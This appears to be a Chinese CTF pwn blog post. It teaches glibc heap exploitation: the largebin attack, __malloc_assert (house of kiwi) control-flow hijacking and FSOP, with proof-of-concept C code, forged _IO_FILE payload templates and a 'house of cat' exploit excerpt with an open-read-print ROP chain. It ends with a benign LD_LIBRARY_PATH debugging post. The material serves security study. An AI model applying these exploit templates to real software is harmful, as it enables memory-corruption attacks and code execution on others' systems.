   largebin chunk内部的存放有管理这个链表的信息, fd, bk, fd_nextsize, bk_nextsize, fd, bk和其他bin没有区别, 连接着该bin中的所有chunk, 以及该bin所对应的main_arena
   再看一个码, 大概意思就是一个chunksize有两个, 一个bin内一共6个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>

void *p[0x10];

int main(){
p[0] = malloc(0x430);
malloc(0x18);
p[1] = malloc(0x430);
malloc(0x18);
p[2] = malloc(0x440);
malloc(0x18);
p[3] = malloc(0x440);
malloc(0x18);
p[4] = malloc(0x450);
malloc(0x18);
p[5] = malloc(0x450);
malloc(0x18);

for(int i=0; i<6; ++i) free(p[i]);

malloc(0x500);

return 0;
}

Screenshot 2024-12-12 210547.png

   给大🔥们画一个, 但是手太僵了

扫描全能王 2024-12-12 21.02.jpg

   由fd, bk, 连接起了全部chunk和main_arena, 这也是gdb上展示的顺序
   其次fd_nextsize, bk_nextsize, 只有每一组大小相同的chunks中的第一个才有这两个内容, 并且不连接main_arena
   特别地, 当一个bin中只有两组不同大小的chunks时, 一个组的fd_nextsize, bk_nextsize都指向另一组(因为双向链表); 只有一组时, 这对指针都会指向自己
   fd_nextsize, bk_nextsize是专门用于管理同一个large bin中不同大小的chunk的排列的, 这一组指针和上一组不同, 并不会连接main_arena
   large bin attack主要攻击的是fd_nextsize, bk_nextsize这一组指针
    看一段glibc源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)){
/* Always insert in the second position. */
/// 当存在一个chunk的size与victim一致
fwd = fwd->fd;
else{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted(bk)");
}

   有问题的语句在victim->bk_nextsize = fwd->bk_nextsizevictim->bk_nextsize->fd_nextsize = victim;, 即当找不到一个相同size的chunk, 目标victim必须生成一对nextsize, 来管理它自己size大小的large chunks, 问题在于缺少对于fwd->bk_nextsize的检查, 它实际上有可能被篡改为其他地址
   现给出一个实现该large bin attack的最小利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>

/// @note 假设我们需要将一个堆地址写到a[4]的位置

size_t a[6];

int main(){
size_t *p1 = malloc(0x420);
malloc(0x18);
void *p2 = malloc(0x410);
malloc(0x18);
free(p1);

malloc(0x440); // clear unsorted bins

p1[3] = &a[0]; // largebin.bk_nextsize = target - 0x20

free(p2);

malloc(0x440); /* clear unsorted bins
* and trigger the attack
*/
return 0;
}
   p1[3] = &a[0]之后, bk_nextsize变成了&a[0]的形状

Screenshot 2024-12-12 214851.png

   第二个malloc(0x440)之后, 触发了attack

Screenshot 2024-12-12 214925.png

   检查a[4], 发现确实篡改, 并且堆地址是

Screenshot 2024-12-12 215003.png

   具体发生了什么, 请看PNG

扫描全能王 2024-12-12 22.11.jpg

   所以不难总结出部署一次largebin attack的方法:
    1.准备一个chunk1, free掉, 它将作为之后源码中的fwd
    2.申请一个比chunk1大的堆块, chunk1就被放在large bin中
    3.UAF或者堆溢出, 修改chunk1的bk_nextsize为你指定的地址target的低0x10, 即target - 0x20
    4.申请一个chunk2, 它比chunk1小, 但是应该被放在同一个bin, free它, 作为源码中的victim存在
    5.重复2所做的事, 这会触发largebin attack, 并在target位置写上victim的chunkhead的地址

__malloc_assert劫持控制流

 劫持路径

   __malloc_assert是一个用于判断堆分配请求是否合理的函数, 有许多方式来触发这个函数;
   选取其中最简单的方法, 使用某种手法来修改top chunk的chunksize位, 使得它小于之后要申请的chunk的大小, 注意这里与house of orange相反, 我们需要让修改后的 chunksize_nomask(size) + &chunk_head不与内存页对齐, 从而触发异常. __malloc_assert会尝试将错误信息输入到stderr
   这个输入的过程的调用过程如下
1
__malloc_assert() --(assert false)--> __fxprintf ----> vfxprintf() ----> locked_vfxprintf() ----> __vfprintf_internal() ----> _IO_file_xsputn()
   一路到最后, 函数尝试调用了_IO_file_xputsn(), 而这个函数正好是通过_IO_file_plus结构体中的vtable加上偏移计算的, 这就给了我们篡改的机会,

Screenshot 2024-12-13 094514.png

   下面的_IO_file_jumps就是被查询的虚表, 关注在__xsputn下方0x10偏移处的__seekoff
    下面是seekoff的源码, 省去不重要的信息, 发现在return之前会调用_IO_switch_to_wget_mode(fp), 这里的fp毫无疑问应该是stderr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

///@warning 这里的mode和下面的must_be_exact需要想办法绕过
if (mode == 0)
return do_ftell_wide (fp);

int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));


if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
   _IO_switch_to_wget_mode, 又到了_IO_WOVERFLOW(),
1
2
3
4
5
6
7
8
9
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
...
...
...
}
   _IO_WOVERFLOW()的汇编, 注意 +37 位置的call指令, 只要能够控制rax, 就可以劫持控制流了(finally!)

Screenshot 2024-12-13 100413.png

   现在需要知道rax在call之前是如何赋值的, 由于rdi始终没有变, 所以以rdi作为基准, rdx = rdi + 0xc0; rax = rdi + 0xa0 + 0xe0; rsi = 0xffffffff, 根据blog https://xz.aliyun.com/t/13016?time__1311=GqmhBKYKGIqGx0HQ1DuWxgCWv2xTDpYD#toc-5, 这里的rdi实际上是一个堆地址
   有一点不一样, 就是上面blog中的_IO_WOVERFLOW()的源码没有mov esi, 0xffffffff, (笔者glibc版本2.35), 所以在此情况之下, 实际上只能向call指令的函数传一个有效的参数(rdi). 对此, 可以使用setcontext这个gadget, 因为它主要使用rdx和偏移来设置其他寄存器, 而rdx是可以被控制的
   总而言之, 需要将原本的stderr的地址修改为可控的一大块数据(通过largebin attack), 然后将其中的_IO_file_jumps虚表, 改为该虚表 + 0x10 的值, 然后触发__malloc_assert

  伪造_IO_FILE结构体

   从上面的分析来看, 完成劫持需要制造错误的vtable偏移, 需要绕过mode, must_be_exact, was_writing的检查, 这些内容可以通过通过伪造一个假的_IO_FILE_complete结构体, 在把原本的stderr用这个假的替换, 即可满足
   所以这里有必要了解一下_IO_FILE等结构体的结构
   首先是_IO_FILE结构体, 内容比较多, 但主要关注于前面8个指针, 它们和绕过检查有关
   中间的_IO_backup_base, 似乎一些手法可能会用得到, 但不是这里
   然后是chain结构体, 用来连接其他的结构体, 比如stderr会连接stdout(上文的图中)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
   然后是_IO_FILE_complete结构体, 是_IO_FILE的加长版, 关注_wide_data指针, 和绕过检查有关系
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
   _IO_FILE_PLUS结构体, 在_IO_FILE基础上加入一个vtable指针(虚表指针), 虚表指针中存放的是IO相关的操作函数
   其次, 注意上面源代码中的#ifdef宏定义, _IO_FILE_PLUS中的_IO_FILE也可以指的是_IO_FILE_COMPLETE结构体
1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
   具体是那种结构, 猜测可能与使用的文件open函数有关, 但是没试过. 无论如何, 要伪造的stderr是_IO_FILE_COMPLETE + vtable 的样式
   此外, 在libc中存在一个指向_IO_FILE_plus结构体的_IO_list_all指针, 通常情况下指向_IO_2_1_stderr, 然后stderr又通过chain指向stdout, stdout指向stdin
   当出现了新的文件描述符, 会插入到这个链表的头部
   _IO_jump_t结构体, 有许多操作函数, 但是不同的_IO_FILE_PLUS, 可能会使用不同的虚表, stderr/stdout/stdin使用的是_IO_file_jumps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
   对于__malloc_assert的触发方法, 我们需要伪造stderr结构体, 以下是一个通用的模板(https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_5)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)
fake_IO_FILE +=p64(2) #_IO_saveup_base rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')
fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
   更加具体的模板, 来自https://xz.aliyun.com/t/13016?time__1311=GqmhBKYKGIqGx0HQ1DunFG8YwpVDpYD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
fake_struct = p64(0)                    #_IO_read_end
fake_struct += p64(0) #_IO_read_base
fake_struct += p64(0) #_IO_write_base
fake_struct += p64(0) #_IO_write_ptr
fake_struct += p64(0) #_IO_write_end
fake_struct += p64(0) #_IO_buf_base
fake_struct += p64(1) #_IO_buf_end
fake_struct += p64(0) #_IO_save_base
fake_struct += p64(fake_io_addr + 0xb0) #_IO_backup_base = rdx
fake_struct += p64(call_addr) #_IO_save_end = call_addr
fake_struct += p64(0) #_markers
fake_struct += p64(0) #_chain
fake_struct += p64(0) #_fileno
fake_struct += p64(0) #_old_offset
fake_struct += p64(0) #_cur_column
fake_struct += p64(heap_base + 0x200) #_lock = heap_addr or writeable libc_addr
fake_struct += p64(0) #_offset
fake_struct += p64(0) #_codecvx
fake_struct += p64(fake_io_addr + 0x30) #_wide_data rax1
fake_struct += p64(0) #_freers_list
fake_struct += p64(0) #_freers_buf
fake_struct += p64(0) #__pad5
fake_struct += p32(0) #_mode
fake_struct += b"\x00"*20 #_unused2
fake_struct += p64(_IO_wfile_jumps + 0x10) #vtable
fake_struct += p64(0)*6 #padding
fake_struct += p64(fake_io_addr + 0x40) #rax2

payload = fake_struct + p64(0)*7 + p64(rop_addr) + p64(ret)
   在具体使用时, 需要更改fake_io_addr为伪造的fake_IO的堆的地址, _IO_save_end为要调用的函数(即call_addr), _IO_backup_base为执行函数时的rdx, 以及修改_flags(即rdi)为执行函数时的rdi
   

  __malloc_assert举例

   这里以那道著名的 house of cat 举例, 但是只关注largebin的部分, 绕过沙箱的部分忽略.
   使用了__malloc_assert触发orw的方法
   
   第一步是要先泄露出libc和heap基址, 这部分省略, 请各显神通
   第二步是伪造一个_IO_FILE_PLUS结构, 用于绕过检查以及劫持虚表
   第三步是通过largebin attack将stderr使用伪造的结构体替换,
   第四步, 弄一个ROP或者是ORW之类的, 和二三步顺序可以互换
   第五步, 想办法触发__malloc_assert, 常用的办法是修改top chunk size
   模板中的call_addr修改为setcontext+61, 并在rop_addr指示的堆地址填入需要的rop链
   完整exp可以看https://xz.aliyun.com/t/13016?time__1311=GqmhBKYKGIqGx0HQ1DunFG8YwpVDpYD, 这里对伪造的部分做更具体地解释
   
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
...
free(0) # fwd
...
# fake io struct
payload = fake_struct + p64(0)*7 + p64(rop_addr) + p64(ret)

free(2) # addr(2) = addr(4) , 疑似是为了方便计算偏移
add(4,0x418,payload)
free(4) # victim

# largebin attack(fake stderr struct)
edit(0,p64(libc_base+0x21a0d0)*2 + p64(heap_base+0x290) + p64(stderr-0x20))

# 触发第一次largebin attack(add(5)), 同时为后面一次分配堆(add(5), add(7))
add(5,0x440,"55555")
add(6,0x430,"./flag")
add(7,0x430,"77777")

rop = p64(pop_rdi) + p64(0) + p64(close) #close(0)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rax) + p64(2) + p64(syscall_ret) #open(flag)
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag_addr+0x10) + p64(pop_rdx_r12) + p64(0x100) + p64(0) + p64(read) #read(0,flag_addr+0x10,0x100)
rop += p64(pop_rdi) + p64(flag_addr+0x10) + p64(puts) #puts(flag_addr+0x10)

# 第二次largebin attack
add(8,0x430,rop) # +0x2040 +0x2050
free(5)
add(9,0x450,"9999")
free(7)
edit(5,p64(libc_base + 0x21a0e0)*2 + p64(heap_base + 0x1370) + p64(heap_base + 0x28e0-0x20 + 3))
   有几点细节需要注意.
   第一, 这套基于__malloc_assert的打法在现在更高版本的glibc中已经不复存在了, 因为__malloc_assert被删除了, 但是largebin attack的其他方法, 比如FSOP依然可以
   第二, stderr结构体指针有时不在libc中, 而是在.bss段中. 出现这种情况一般是使用了setvbuf(), 而不是setbuf()或者不使用. 这是因为setvbuf()会在源文件中使用三个extern变量指针, 在链接时被ld放入.bss段; 而setbuf()使用的三个指针放在.got内作为外部链接
   第三, 由于largebin attack写入的是chunk head的地址, 再加上前4个字长的large bin的信息, 所以导致将这个堆块看作一个IO_FILE_PLUS时, 它的_flag(前8字节), 以及_IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base, _IO_write_ptr(各八个字节)实际上是难以控制的, 除非有heap overflow或者UAF之类漏洞, 但是即使这样也不会影响这种攻击方法的使用.

 FSOP

   一个比较古老的漏洞,但是进入“虚表偏移时代”之后FSOP的形式出现了一些不同
   FSOP利用的两个部分,第一是它的调用链,第二是触发FSOP

 触发IO

   在伪造了相应结构之后, 想要进行FSOP, 让伪造数据被用上, 需要先进入IO流, 在高版本的glibc中, 一般有两种方式进入IO流: _IO_flush_all_lockp(), 以及house of kiwi方法, house of kiwi方法就是上面的__malloc_assert方法.

 _IO_flush_all_lockp()方法

   这种方法是FSOP的传统做法, _IO_flush_all_lockp()会从_IO_list_all查找IO_FILE结构体, 然后分别对每个结构体flush, 这个过程中会使用虚表中的_IO_overflow
   触发这个函数又有一些办法, 但是在高版本glibc中砍得七七八八, 基本只剩下程序使用exit()退出这一种比较常见又方便利用的方法
   精简代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int _IO_flush_all_lockp (int do_lock){
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
   其中_IO_OVERFLOW会使用虚表中0x18处的函数, 这就给我们可乘之机
   为了避免短路, 想要执行到_IO_OVERFLOW, 有两种选择条件:
   第一种:
    1. fp->_mode <= 0
    2. fp->_IO_write_ptr > fp->_IO_write_base
   第二种:
    1. _IO_vtable_offset(fp) == 0
    2.fp->_mode > 0
    3. fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
   但是在使用largebin attack的情况下, 第一种情况很难满足, 因为_IO_write_ptr_IO_write_base在chunk中的位置是fd_nextsize和bk_nextsize的位置.
   所以一般是第二种实现起来更方便
   至于之前使用的模板, 只需要把伪造的vtable + 0x10 改成 vtabel + 0x30即可

[水贴]记一次离谱报错

前情提要: 由于国赛在即, 而本人已经做了一个多月的dev没有碰过pwn, 所以打算复健一下, 结果第一个上午用着wsl就碰上了一个离谱bug

Bug

    一个归档文件中, 包含了一个名为libc.so.6的libc同名文件, 然后tar -xf一下, 奇迹出现了, shell内除了buildin的工具全部失效了, 显示以下报错
1
2
3
4
5
6
ls: libc.so.6: version `GLIBC_2.28' not found (required by ls)
ls: libc.so.6: version `GLIBC_2.33' not found (required by ls)
ls: libc.so.6: version `GLIBC_2.34' not found (required by ls)
ls: libc.so.6: version `GLIBC_2.33' not found (required by /lib/x86_64-linux-gnu/libselinux.so.1)
ls: libc.so.6: version `GLIBC_2.30' not found (required by /lib/x86_64-linux-gnu/libselinux.so.1)
ls: libc.so.6: version `GLIBC_2.34' not found (required by /lib/x86_64-linux-gnu/libselinux.so.1)
   然而, 当使用cd离开这个目录之后, 一切又恢复正常, 而且vscode中提供的文件操作也可以使用
   笔者又从zsh切换到bash, 然后是sh, 发现问题不变,

找原因和Debug

   综上所述, 问题的根源应该是非shell buildin的工具寻址里libc.so.6时出现了问题, 在工作目录中没有名为libc.so.6的文件时, 会正常寻址, 有的时候则会尝试链接当前的工作目录下的文件
   证据如下
1
2
3
4
5
6
7
8
9
10
11
# libc.so.6 版本过低
ls: libc.so.6: version `GLIBC_2.28' not found (required by ls)
ls: libc.so.6: version `GLIBC_2.33' not found (required by ls)
ls: libc.so.6: version `GLIBC_2.34' not found (required by ls)
ls: libc.so.6: version `GLIBC_2.33' not found (required by /lib/x86_64-linux-gnu/libselinux.so.1)
ls: libc.so.6: version `GLIBC_2.30' not found (required by /lib/x86_64-linux-gnu/libselinux.so.1)
ls: libc.so.6: version `GLIBC_2.34' not found (required by /lib/x86_64-linux-gnu/libselinux.so.1)
# libc.so.6 空的, 或者是一个文本文件
ls: error while loading shared libraries: libc.so.6: file too short
# libc.so.6 格式不对
ls: error while loading shared libraries: libc.so.6: cannot dynamically load position-independent executable
   显然问题和库文件的搜索有关, 笔者想起来前段时间安装cuda时更改过.bashrc中的搜索路径的环境变量
   当时在.bashrc的结尾加上了, 作为nvcc的库文件搜索路径
1
2
3
4
5
#config cuda
export CUDA_HOME=/usr/local/cuda-12.3
export PATH=$PATH:$CUDA_HOME/bin
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$CUDA_HOME/lib64
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$CUDA_HOME/extras/CUPTI/lib64
   由于.bashrc中默认没有LD_LIBRARY_PATH的配置(至少我的没有), 所以上述的工具在CUDA的库文件中肯定找不到libc.so.6, 所以理论上将libc.so.6重新加到搜索路径中即可
1
2
3
4
5
6
7
export LD_LIBRARY_PATH=/lib/x86_64-linux-gnu

#config cuda
export CUDA_HOME=/usr/local/cuda-12.3
export PATH=$PATH:$CUDA_HOME/bin
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$CUDA_HOME/lib64
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$CUDA_HOME/extras/CUPTI/lib64
   大概就是这样, 完成之后再source .bashrc, 即可
1
2
3
╭─ /home/pwn/testtable/works ▓▒░                                                                                         ░▒▓ ✔  root@PainTech  10:48:21 ─╮
╰─ ls ─╯
libc libc.so.6 pwn

在此之后

   即使成功解决了bug, 有几个问题没有存在疑惑
   1. .bashrc在LD_LIBRARY_PATH没有被填写的情况下, 为何正常链接
   2. 为何工作目录下没有libc.so.6可以正常链接
   这里主要和LD_LIBRARY_PATH的工作有关,
   动态链接的文件会按照LD_LIBRARY_PATH所列出的顺序, 依次查找, 路径之间使用 ‘:’ 分割
1
2
3
╭─ ~ ▓▒░                                                                                                                         ░▒▓ ✔  root@PainTech  11:09:01 ─╮
╰─ echo $LD_LIBRARY_PATH ─╯
/lib/x86_64-linux-gnu:/usr/local/cuda-12.3/lib64:/usr/local/cuda-12.3/extras/CUPTI/lib64
   所以当添加好libc的目录之后, 链接就不再会出问题
   但是仅仅这样无法解释, 之前没有/lib/x86_64-linux-gnu时如何正常工作, 以及为什么有上面的bug出现
   linux一个可执行文件寻找自己的链接的动态库有5种方式, 绝对路径 相对路径 -rpath LD_LIBRARY_PATH /etc/ld.so.conf(这样写应该会比较具体), 但是网上的资料(至少是中文资料)大多不全, 或者是没有明确的执行顺序的排列
   举个例子, 下面是一个ELF的Header, Interpreter为绝对路径, ld一般都是绝对路径, 因为需要ld来执行库的查找
   Needed Library比较有说头, 像这里的’libc.so.6’, 首先一般情况下它应该被设计为某个文件夹中的一个文件名, 但是实际上, 也可以被看作一个相对路径,
   作为对比, 如果是 ‘./libc.so.6’ 就是一个单纯的相对路径
   猜测是ls等非shell buildin 的工具, 在链接时把 ‘libc.so.6’ 当成了相对路径, 这里的相对是相对于使用命令的工作目录
1
2
3
LOAD:0000000000000000 ; Format      : ELF64 for x86-64 (Shared object)
LOAD:0000000000000000 ; Interpreter '/lib64/ld-linux-x86-64.so.2'
LOAD:0000000000000000 ; Needed Library 'libc.so.6'
   -rpath, 检查-rpath指定的路径, -rpath是编译器编译时的一个可选项, 下面是未使用和使用了-rpath参数的对比
1
2
3
4
5
6
7
8
9
LOAD:0000000000000000 ; Format      : ELF64 for x86-64 (Shared object)
LOAD:0000000000000000 ; Interpreter '/lib64/ld-linux-x86-64.so.2'
LOAD:0000000000000000 ; Needed Library 'libc.so.6'

LOAD:0000000000000000 ; Format : ELF64 for x86-64 (Shared object)
LOAD:0000000000000000 ; Interpreter '/lib64/ld-linux-x86-64.so.2'
LOAD:0000000000000000 ; Needed Library 'libstdc++.so.6'
LOAD:0000000000000000 ; Needed Library 'libc.so.6'
LOAD:0000000000000000 ; Library runpath '/lib/x86_64-linux-gnu' # <------
   意思就是 Needed Library 需要在 Library runpath 中找
   ls执行文件的header信息, 可以看到是没有指定-rpath的, 没有-rpath相当于第一步直接放弃掉了
1
2
3
4
LOAD:0000000000000000 ; Format      : ELF64 for x86-64 (Shared object)
LOAD:0000000000000000 ; Interpreter '/lib64/ld-linux-x86-64.so.2'
LOAD:0000000000000000 ; Needed Library 'libselinux.so.1'
LOAD:0000000000000000 ; Needed Library 'libc.so.6'
    检查LD_LIBRARY_PATH, 流程不再赘述了. 注意的是, LD_LIBRARY_PATH是由Bash等交互提供的, 默认情况下应该是空的, 但是实际上包含了/usr/lib以及/lib文件夹
    搜索/etc/ld.so.conf,
1
2
3
╭─ ~ ▓▒░                                                                                                                         ░▒▓ ✔  root@PainTech  13:24:04 ─╮
╰─ cat /etc/ld.so.conf ─╯
include /etc/ld.so.conf.d/*.conf
   ld.so.conf应该是没有动过的
1
2
3
4
╭─ /etc/ld.so.conf.d ▓▒░                                                                                                         ░▒▓ ✔  root@PainTech  13:25:10 ─╮
╰─ ls ─╯
000_cuda.conf fakeroot-x86_64-linux-gnu.conf i386-linux-gnu.conf libc.conf zz_i386-biarch-compat.conf
988_cuda-12.conf gds-12-3.conf
   这里主要关注x86和libc的conf文件
1
2
3
4
5
6
╭─ /etc/ld.so.conf.d ▓▒░                                                                                                         ░▒▓ ✔  root@PainTech  13:25:52 ─╮
╰─ cat x86_64-linux-gnu.conf ─╯
# Multiarch support
/usr/local/lib/x86_64-linux-gnu
/lib/x86_64-linux-gnu
/usr/lib/x86_64-linux-gnu
1
2
3
4
╭─ /etc/ld.so.conf.d ▓▒░                                                                                                         ░▒▓ ✔  root@PainTech  13:25:56 ─╮
╰─ cat libc.conf ─╯
# libc default configuration
/usr/local/lib

如何导致bug的发生

   希腊奶.
   只知道是由于可执行文件的中Needed Library 中的 libc.so.6字段在链接过程中产生了歧义, 一方面可以指的是环境变量路径中的libc.so.6, 一方面也可以指工作目录下的libc(即./libc.so.6), 由于种种原因, 导致越过了LD_LIBRARY和ld.conf.d的配置, 直接在当前文件夹中尝试链接
   但是更具体的, LD_LIBRARY和ld.conf.d的配置为什么被越过, 以及正常情况下, 它们的查找顺序是如何的仍然不太清晰